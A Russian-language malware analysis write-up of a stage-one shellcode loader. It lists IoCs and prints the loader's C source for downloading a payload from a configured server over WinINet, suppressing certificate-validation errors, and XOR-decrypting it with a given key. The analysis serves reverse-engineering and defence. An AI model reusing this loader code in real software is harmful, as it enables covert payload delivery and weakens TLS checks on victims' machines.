
Analysis for stage1 shellcode loader from hacking
Блок-схема кода
Сетевой IoC
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
IoC заражения (сброшенные файлы)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Хорошо, что за черт. Давайте разберёмся. Loader.sln или loader.c
итак, запуск, и от запуска к asm? что происходит в asm? PIC (position independent code, позиционно-независимый код) — шеллкод. Классно, и что это делает? По сути, он вызовет Loader(0xdeadbeef). Почему?? Я не знаю, почему они выбрали этот адрес, но по этому адресу должен быть распакованный код. В любом случае, давайте продолжим и посмотрим, что происходит в отладчике. Поправка: мы вызываем Loader(eax), а eax — это IP-адрес с .dat файлом .png)
Теперь, если мы проследим поток выполнения, мы попадаем в loader

Пока что мы просто пропустим LoadVtable, так как он вездесущий и большой, и вернёмся к нему после завершения анализа остальных его возможностей. Теперь перейдём к изучению DownloadAndDecryptTls.
DownloadAndDecryptTls

Теперь одна занятная вещь, которую я заметил во время отладки.
Дело в том, что, как видно на изображении выше и в следующем фрагменте кода,
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
lpLoaderConfig получается динамически. Но откуда? Ну, похоже, он загружает или внутренне использует тот самый .dat файл? И что это за .dat файл. Изучив архив
мы видим ещё один классный файл shellcode_0x95d. Если посмотреть на него в HxD
вы увидите кучу вызовов API и этот URL. Так что, по сути, это и есть настоящий шеллкод :) Круто, мы взглянем на него после того, как закончим с этим.
Теперь, на будущее, xor-ключ равен 0x6281f17f. Теперь краткий анализ до интересного места — ValidateCa. До этого в функции не происходит ничего особенного; самое интересное — вызов InternetOpenA, который инициализирует DLL для работы с сетью. Было бы интересно посмотреть на это динамически, чтобы увидеть один из их трюков. Они делают это в C-коде так:
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
что на один аргумент меньше, чем в API. Ладно, хватит разговоров, посмотрим, что происходит в коде.
Полагаю, здесь происходит вот что: поскольку используется INTERNET_OPEN_TYPE_PRECONFIG, применяется предварительно сконфигурированная структура, и в lptable уже есть URL.
В любом случае, дальше у нас ValidateCA.
Итак, зачем это нужно? Это просто определяет, использовать ли HTTPS или HTTP.
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Затем мы выполняем простой GET-запрос и скачиваем файл по HTTP. Ничего особенного. Если вам интересно, есть ли здесь что-то особенное, думаю, нет; вероятно, в интернете можно найти примеры, как это сделать. Как функция DownloadFile скачивает файлы? С помощью InternetReadFileExA.
В общем, вот код.
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
Теперь проверим проверку if для расшифровки, чтобы понять, входит ли код в функцию расшифровки. Судя по моим предположениям при эксперименте, bXored будет true, поэтому мы должны войти в функцию расшифровки. К сожалению, наше предположение оказалось неверным, потому что
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
мы не сможем отправить запрос на этот вредоносный сервер. Я мог бы эмулировать сервер с помощью Frida, но зачем, ведь у нас уже есть сам payload. Остаётся только дизассемблировать его и решить, зашифрован он или нет. Расшифровка также выглядит так:
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
это XOR с двумя ключами, а dwXorkey равен 0x6281f17f.
Теперь вернёмся к функции Loader, чтобы разобраться с последней частью загрузчика.
